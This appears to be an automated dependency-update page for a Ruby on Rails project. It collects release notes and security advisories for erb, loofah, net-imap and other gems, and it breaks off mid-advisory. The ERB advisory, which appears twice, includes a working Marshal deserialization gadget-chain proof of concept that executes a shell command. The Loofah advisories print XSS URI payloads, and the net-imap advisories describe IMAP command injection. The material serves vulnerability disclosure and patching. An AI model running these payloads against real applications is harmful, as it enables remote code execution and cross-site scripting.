  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Details

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

Year Chain Mitigated in
2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0
2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1
2022 Gem::Specification._load (vakzz) RubyGems 3.6
2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches
2024 Gem::Source::Git#rev_parse RubyGems 3.6
2026 ERB#def_module @_init bypass ERB 6.0.4

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Details

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

🚨 ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

Details

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

  1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
  2. Hash key insertion calls .hash on the proxy
  3. .hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
  4. def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Details

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

Year Chain Mitigated in
2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0
2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1
2022 Gem::Specification._load (vakzz) RubyGems 3.6
2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches
2024 Gem::Source::Git#rev_parse RubyGems 3.6
2026 ERB#def_module @_init bypass ERB 6.0.4

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Details

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ globalid (indirect, 1.2.1 → 1.4.0) · Repo · Changelog

Release Notes

1.4.0

What's Changed

  • Add GlobalID::Locator.fetch with distinct not-found and unavailable errors by @rosa in #206
  • Change the underlying URI parser (from RFC2396 to RFC3986) by @Drowze in #202
  • Don't try to constantize GID's class too soon by @paulRbr in #204
  • Allow custom locators to override model class by @xijo in #203

New Contributors

Full Changelog: v1.3.0...v1.4.0

1.3.0

What's Changed

New Contributors

Full Changelog: v1.2.1...v1.3.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 51 commits:

↗️ i18n (indirect, 1.14.7 → 1.15.2) · Repo · Changelog

Release Notes

1.15.2

What's Changed

Full Changelog: v1.15.1...v1.15.2

1.15.1

What's Changed

New Contributors

Full Changelog: v1.15.0...v1.15.1

1.15.0

What's Changed

  • Make lazy loading of I18n translations thread safe ( part 2 ) by @chaadow in #729
  • Add support to not replace non-ASCII chars not in map by @sobrinho in #720
  • Add transliteration for O with ogonek by @radar in #733
  • CI: exclude Ruby 3.2 from rails-main matrix by @radar in #734
  • Fiber-aware I18n config storage by @lee266 in #731

New Contributors

Full Changelog: v1.14.8...v1.15.0

1.14.8

Full Changelog: v1.14.7...v1.14.8

What's Changed

  • Remove unused cgi require for Ruby 3.5 compatibility by @Earlopain in #713
  • Explicitly require pathname by @voxik in #708
  • CI: Add Ruby 3.4 to CI Matrix by @taketo1113 in #722
  • Fix: I18n.locale reset in Fiber context by using Thread#thread_variable by @lee266 in #724
  • CI: Use actions/checkout@v5 by @olleolleolle in #721
  • Fix compatibility with --enable-frozen-string-literal by @byroot in #726

New Contributors

Full Changelog: v1.14.7...v1.14.8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 45 commits:

↗️ io-console (indirect, 0.8.1 → 0.8.2) · Repo · Changelog

Release Notes

0.8.2

What's Changed

  • Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #98
  • Bump actions/checkout from 4 to 5 by @dependabot[bot] in #99
  • Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #101
  • Add a workflow to sync commits to ruby/ruby by @k0kubun in #102
  • Reorder dispatching by host_os by @nobu in #103
  • Bump actions/upload-artifact from 4 to 5 by @dependabot[bot] in #104
  • Bump rubygems/release-gem from 1.1.1 to 1.1.2 by @dependabot[bot] in #106
  • Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #108
  • Bump actions/checkout from 5 to 6 by @dependabot[bot] in #109
  • Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #110
  • fix set winsize on windows by @YO4 in #111

New Contributors

  • @YO4 made their first contribution in #111

Full Changelog: v0.8.1...v0.8.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 20 commits:

↗️ irb (indirect, 1.15.2 → 1.18.0) · Repo · Changelog

Release Notes

1.18.0

What's Changed

✨ Enhancements

  • Completely migrate to prism by @tompng in #1160
  • Suppress error highlight for some incomplete code by @tompng in #1173
  • Display command description in doc dialog on tab completion by @st0012 in #1180
  • Add startup banner with Ruby logo, version info, and tips by @st0012 in #1183
  • Highlight the method name in method calls by @shugo in #1189
  • Add --nobanner option to suppress startup banner by @st0012 in #1200

🐛 Bug Fixes

  • Make ls command work for BasicObjects by @eikes in #1177
  • Fix IRB crash when typing string literal with control/meta sequence by @tompng in #1182
  • Wait for pager to terminate by @tompng in #1192
  • Fix incorrect dash in startup message by @st0012 in #1206
  • Colorize KEYWORD_DO_BLOCK (added in head Prism) by @tompng in #1207

🛠 Other Changes

  • Silence default_external warning in tests by @Earlopain in #1172
  • Ruby >= 4.1.0 allows trailing comma in method signature by @eikes in #1178
  • Fix display_document test fails in tty environment by @tompng in #1185
  • Use Prism::ParseResult#continuable? if possible by @tompng in #1184
  • Do not open nesting for character literals by @shugo in #1190
  • Fix random EPIPE failure in SIGINT restore tests by @k0kubun in #1191
  • Bump version to 1.18.0 by @st0012 in #1208

New Contributors

Full Changelog: v1.17.0...v1.18.0

1.17.0

What's Changed

🐛 Bug Fixes

  • Support copy command on windows and wsl by @hogelog in #1153
  • Fix incorrect history handling in nested session with debug.gem by @st0012 in #1158
  • Treat frame.path as nilable in frame filtering by @st0012 in #1161

🛠 Other Changes

Full Changelog: v1.16.0...v1.17.0

1.16.0

What's Changed

✨ Enhancements

  • Add --context-mode 5: evaluates inside Ruby::Box by @tompng in #1142

🐛 Bug Fixes

  • Avoid creating method objects unnecessarily when distinguishing between commands and statements. by @tompng in #1138
  • Show-source should not raise error even if line_no is wrong by @tompng in #1145

🛠 Other Changes

New Contributors

Full Changelog: v1.15.3...v1.16.0

1.15.3

What's Changed

✨ Enhancements

  • Remove all internal frames from a backtrace by @mame in #1106
  • Improve prompt generating performance by caching prompt parts(%m, %M) by @tompng in #1127
  • Do not save consecutive duplicate commands to history by @topalovic in #1120

🐛 Bug Fixes

  • Handle keyword local variables correctly by @tompng in #1085
  • Fix nil error on debugger prompt by @muno92 in #1097
  • Fix methods defined with invalid encoding are not displayed in completion by @ksaito422 in #1101
  • Fix show_source command when obj.method is overrided by @tompng in #1111
  • Reset IOGate.set_winch_handler when dancing ruby easter-egg terminates by @tompng in #1124
  • Fix UTF-16 autocompletion by @alexanderadam in #1129

📚 Documentation

🛠 Other Changes

New Contributors

Full Changelog: v1.15.2...v1.15.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ loofah (indirect, 2.24.1 → 2.25.2) · Repo · Changelog

Security Advisories 🚨

🚨 Loofah `allowed_uri?` does not detect `javascript:` URIs split by named whitespace character references

Summary

Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: URIs when the scheme is split or prefixed by the HTML5 named character references &Tab; (tab) or &NewLine; (line feed).

This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled the equivalent numeric character references (&#9;, &#10;, &#13;) but did not cover the named forms.

Details

allowed_uri? decodes HTML entities with CGI.unescapeHTML, which handles numeric character references but not HTML5 named character references. Payloads like java&Tab;script:alert(1) are therefore left intact, so the method does not recognize the javascript: scheme and returns true. A browser, however, decodes &Tab; and &NewLine; to tab and line feed and strips them from the URL during parsing, producing javascript:alert(1).

&Tab; and &NewLine; are the only relevant named character references: across the HTML5 named-character table, they are the only two that decode to characters the WHATWG URL parser strips from a URL (U+0009 and U+000A; there is no named reference for U+000D). &nbsp; / &NonBreakingSpace; decode to U+00A0, which browsers do not strip, so they aren't usable for this bypass.

Note that Loofah's default sanitize() path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public allowed_uri? string-level helper that pass it HTML-encoded strings.

Impact

Callers that validate a user-controlled URL with Loofah::HTML5::Scrub.allowed_uri? and then render the approved value into an href or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call allowed_uri? directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.

Mitigation

Upgrade to Loofah >= 2.25.2.

Credit

Responsibly reported by GitHub user @connorshea.

🚨 Loofah: SVG `href` attribute bypasses local-reference restriction

Summary

Loofah's HTML5 sanitizer restricted only the xlink:href attribute on certain SVG elements to local, same-document references. Browsers also accept a plain href attribute as an alternative to the deprecated xlink:href per the SVG 2 spec, but Loofah did not apply the same restriction to it, allowing those elements to reference arbitrary external documents.

Impact

SVG <use> can load and render external SVG content by reference. If the referenced external SVG is same-origin and contains scripts or other dangerous content, it could execute in the context of the sanitized document. <feImage> can load external images, which can be used for tracking. Modern browsers restrict cross-origin <use> fetches, which limits but does not eliminate the risk.

Applications that sanitize user-supplied SVG (directly, or as part of HTML) with Loofah's default allowlist are affected.

Mitigation

Upgrade to Loofah >= 2.25.2.

Credit

Found by the maintainer, Mike Dalessio, during a security audit.

🚨 Loofah `allowed_uri?` does not detect `javascript:` URIs split by numeric character references without semicolons

Summary

Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: or vbscript: URIs when the scheme is split by a numeric character reference that has no trailing semicolon. A browser decodes such references and resolves the URL to an executable javascript: scheme, while allowed_uri? reports it safe.

This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled numeric character references with a trailing ; (&#9;, &#10;, &#13;) but did not cover the forms without semicolons.

Details

allowed_uri? decodes HTML entities with CGI.unescapeHTML, which decodes numeric character references only when they carry a trailing ;. A reference without a semicolon such as &#58 (colon) or &#9 (tab) is left literal, so the scheme-detection check finds no scheme, and the method falls through to its scheme-less path and returns true.

A browser, however, decodes numeric character references even without a trailing semicolon. An encoded colon such as &#58 becomes the : scheme separator, so javascript&#58alert(1) resolves to javascript:alert(1). Encoded whitespace such as &#9 (tab) is decoded and then stripped from the URL, rejoining the surrounding text, so java&#9script:alert(1) also resolves to javascript:alert(1). In both cases the URL executes while allowed_uri? approved it as safe.

Note that Loofah's default sanitize() path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public allowed_uri? string-level helper that pass it HTML-encoded strings.

Impact

Callers that validate a user-controlled URL with Loofah::HTML5::Scrub.allowed_uri? and then render the approved value into an href or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call allowed_uri? directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.

Mitigation

Upgrade to Loofah >= 2.25.2.

Credit

Responsibly reported by GitHub user @MoonFuji.

🚨 Loofah has improper detection of disallowed URIs via `allowed_uri?`

Summary

Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: URIs when the scheme is split by HTML entity-encoded control characters such as &#13; (carriage return), &#10; (line feed), or &#9; (tab).

Details

The allowed_uri? method strips literal control characters before decoding HTML entities. Payloads like java&#13;script:alert(1) survive the control character strip, then &#13; is decoded to a carriage return, producing java\rscript:alert(1).

Note that the Loofah sanitizer's default sanitize() path is not affected because Nokogiri decodes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects direct callers of the allowed_uri? string-level helper when passing HTML-encoded strings.

Impact

Applications that call Loofah::HTML5::Scrub.allowed_uri? to validate user-controlled URLs and then render approved URLs into href or other browser-interpreted URI attributes may be vulnerable to cross-site scripting (XSS).

This only affects Loofah 2.25.0.

Mitigation

Upgrade to Loofah >= 2.25.1.

Credit

Responsibly reported by HackOne user @smlee.

🚨 Improper detection of disallowed URIs by Loofah `allowed_uri?`

Summary

Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: URIs when the scheme is split by HTML entity-encoded control characters such as &#13; (carriage return), &#10; (line feed), or &#9; (tab).

Details

The allowed_uri? method strips literal control characters before decoding HTML entities. Payloads like java&#13;script:alert(1) survive the control character strip, then &#13; is decoded to a carriage return, producing java\rscript:alert(1).

Note that the Loofah sanitizer's default sanitize() path is not affected because Nokogiri decodes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects direct callers of the allowed_uri? string-level helper when passing HTML-encoded strings.

Impact

Applications that call Loofah::HTML5::Scrub.allowed_uri? to validate user-controlled URLs and then render approved URLs into href or other browser-interpreted URI attributes may be vulnerable to cross-site scripting (XSS).

This only affects Loofah 2.25.0.

Mitigation

Upgrade to Loofah >= 2.25.1.

Credit

Responsibly reported by HackOne user @smlee.

Release Notes

2.25.2

2.25.2 / 2026-07-15

Security

  • Ensure Loofah::HTML5::Scrub.allowed_uri? recognizes numeric character references without semicolons (e.g. javascript&#58alert(1)), which browsers decode and execute, and rejects schemes split by them. See GHSA-5qhf-9phg-95m2. @flavorjones
  • Ensure Loofah::HTML5::Scrub.allowed_uri? recognizes the named character references &Tab; and &NewLine;, which CGI.unescapeHTML does not decode and browsers strip from URIs, and rejects schemes split by them (e.g. java&Tab;script:alert(1)). See GHSA-8whx-365g-h9vv. @flavorjones
  • Ensure that both href and xlink:href attributes on SVG elements like use are restricted to local (same-document) references. Previously only xlink:href was restricted, allowing the SVG 2 href attribute to reference external documents. See GHSA-9wjq-cp2p-hrgf. @flavorjones

Improved

  • Harden data: URI mediatype parsing in Loofah::HTML5::Scrub.allowed_uri?. The mediatype is now parsed following the WHATWG data: URL spec and RFC 2397 instead of simply being split on a colon. A data: URI with an omitted or malformed mediatype is now treated as text/plain and allowed, and one without the required comma is now rejected. #305 @flavorjones
  • Remove feed from the default set of allowed protocols. The feed URI scheme was never accepted as a standard protocol, and no major browser supports it. Removing it reduces the attack surface particularly for non-browser contexts. #304 @flavorjones
  • Remove a vestigial &#x70 alternative from Loofah::HTML5::SafeList::PROTOCOL_SEPARATOR. This appears to be an ancient typo dating back to pre-extraction Rails circa 2007. #305 @flavorjones

2.25.1

2.25.1 / 2026-03-17

2.25.0

2.25.0 / 2025-12-15

  • Extract Loofah::HTML5::Scrub.allowed_uri? which operates on a string. Previously this logic was coupled to the parsed tree in .scrub_uri_attribute. #300 @flavorjones
  • Tightened up how entities and control characters are handled when detecting allowed URIs. #301 @flavorjones

Full Changelog: v2.24.1...v2.25.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 26 commits:

↗️ mail (indirect, 2.8.1 → 2.9.1) · Repo · Changelog

Release Notes

2.9.1

What's Changed

  • Add Ruby 3.4 to CI matrix in GitHub Actions workflow by @ydah in #1653

  • Improve decoding of Q- and B-encoded strings by @radar in #1664

  • Bump to 2.9.1 by @radar in #1665

  • @ydah made their first contribution in #1653

Full Changelog: 2.9.0...2.9.1

2.9.0

What's Changed

New Contributors

Full Changelog: 2.8.1...2.9.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ marcel (indirect, 1.0.4 → 1.2.1) · Repo · Changelog

Release Notes

1.2.1

  • Revert BMP images type to just image/bmp instead of image/bmp;format=compressed.
    The later is more precise, but cause backward compatibility issues with Active Storage.

Full Changelog: v1.2.0...v1.2.1

1.2.0

What's Changed

New Contributors

Full Changelog: v1.1.1...v1.2.0

1.1.1

What's Changed

  • Fix Ruby 3.4 frozen string literal warnings with StringIO by @andynu in #140

New Contributors

Full Changelog: v1.1.0...v1.1.1

1.1.0

What's Changed

New Contributors

Full Changelog: v1.0.4...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 66 commits:

↗️ minitest (indirect, 5.25.5 → 5.27.0) · Repo · Changelog

Release Notes

5.27.0 (from changelog)

  • 1 major enhancement:

    • Adding post install message announcing the EOL for minitest 5!

  • 2 minor enhancements:

    • Removed TestTask::Work#initialize since Queue can now initialize with an Enumerable! AMAZING!

    • Use Kernel#warn uplevel argument for nicer warnings. (byroot)

  • 5 bug fixes:

    • Cleaned up option aliasing a tad.

    • Removed obsolete conditional for prerecord

    • Removed obsolete guards around Warning.

    • Removed obsolete version guards for pattern matching assertions.

    • Switched all internal requires to require_relative.

5.26.2 (from changelog)

  • 5 bug fixes:

    • Bumped minimum ruby to 3.1.

    • Alias Spec#name to #inspect for cleaner output in repls.

    • Fix pathing for Hoe::Minitest initialization to be more generic.

    • Fixed refute_in_epsilon to use min of abs values. (wtn)

    • Improved options processing and usage output to be more clear.

5.26.1 (from changelog)

The Ocean Shores, Slightly Less Tipsy Edition!

  • 3 bug fixes:

    • Add links to API doco in README.

    • Add missing require thread.

    • Bumped ruby version to include 4.0 (trunk). (hsbt) (see also 5.14.2)

5.26.0 (from changelog)

The Seattle.rb Nerd Party, Slightly Tipsy Edition!

  • 2 minor enhancements:

    • Added extra documentation to Minitest::TestTask options.

    • Make parallelize_me! a no-op when n_threads=1.

  • 9 bug fixes:

    • Bypass parallel_executor entirely when n_threads=1.

    • Don’t require rubygems in Rakefile… it is 2025.

    • Ensure that minitest exits non-zero on Interrupt. (tavianator)

    • Fix Minitest.run sequence rdoc to include loop vars and read consistently.

    • Fix call to parallel_executor.shutdown when it isn’t defined.

    • Removed some 1.8/1.9-based code from the assertions and expectations.

    • Still fighting with rdoc? Yup. Still fighting with rdoc…

    • Switched assert_equal’s diff from Tempfile.open to Tempfile.create.

    • Use Regexp.escape for BASE_RE in case pwd has special chars. (astra_1993)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 44 commits:

↗️ net-imap (indirect, 0.5.9 → 0.6.6) · Repo · Changelog

Security Advisories 🚨

🚨 Net::IMAP: Command Injection via non-synchronizing literal in "raw" argument

Several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.

Details

Raw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.

Servers without support for non-synchronizing literals could handle them in several different ways: If a server sees a "}\r\n" byte sequence but can't parse the literal bytesize, it may cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the "+}\r\n" as the end of a malformed command line and respond with a tagged BAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.

This affects the following commands' string arguments:

  • criteria for #search and #uid_search
  • search_keys for #sort, #thread, #uid_sort, and #uid_thread
  • attr for #fetch and #uid_fetch

Prior to net-imap v0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in any way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).

Impact

Fortunately, LITERAL- is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.

If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

Mitigation

Update to a version of net-imap which validates server support for non-synchronizing literals before sending them.

If upgrading net-imap is not possible:

  • Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.
  • For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.
  • Verify that the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities before using untrusted string inputs for the affected "raw data" arguments.

🚨 Net::IMAP: Denial of Service via incomplete raw argument validation

Summary

Several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.

Details

Net::IMAP::RawData was hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match {0} or {0+}, so an attacker-controlled seach criteria or fetch attr string ending in {0} or {0+} passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.

This affects the following command's arguments:

  • criteria for #search and #uid_search
  • search_keys for #sort, #thread, #uid_sort, and #uid_thread
  • attr for #fetch and #uid_fetch

The command which contained the attacker's raw data will not be able to complete until the next command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).

If a second command is sent (from another thread), this would allow the server to respond to the first command. This combined command will be invalid:

  • The {0}\r\n literal prohibits other arguments (such as a quoted string) from spanning both commands
  • It will be sent without the space delimiter which is required between arguments.
  • The second command's tag will not be a valid argument to any of the vulnerable commands.

So the server should respond to the first command with a BAD response, which will raise a BadResponseError.

But, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.

Impact

This will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.

Mitigation

Update to a patched version of net-imap which validates that RawData arguments may not end with literal continuation markers.
If net-imap cannot be upgraded:

  • Validate that user input to the affected command arguments does not end with "}".
  • Use of Timeout or other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.

Extra caution is required when issuing commands from multiple threads. While net-imap does have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.

🚨 Net::IMAP: Command Injection via ID command argument

Summary

Two Net::IMAP commands, #id and #enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.

Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.

Details

When Net::IMAP#id is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.

While Net::IMAP#enable does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The #to_s value is sent verbatim.

Impact

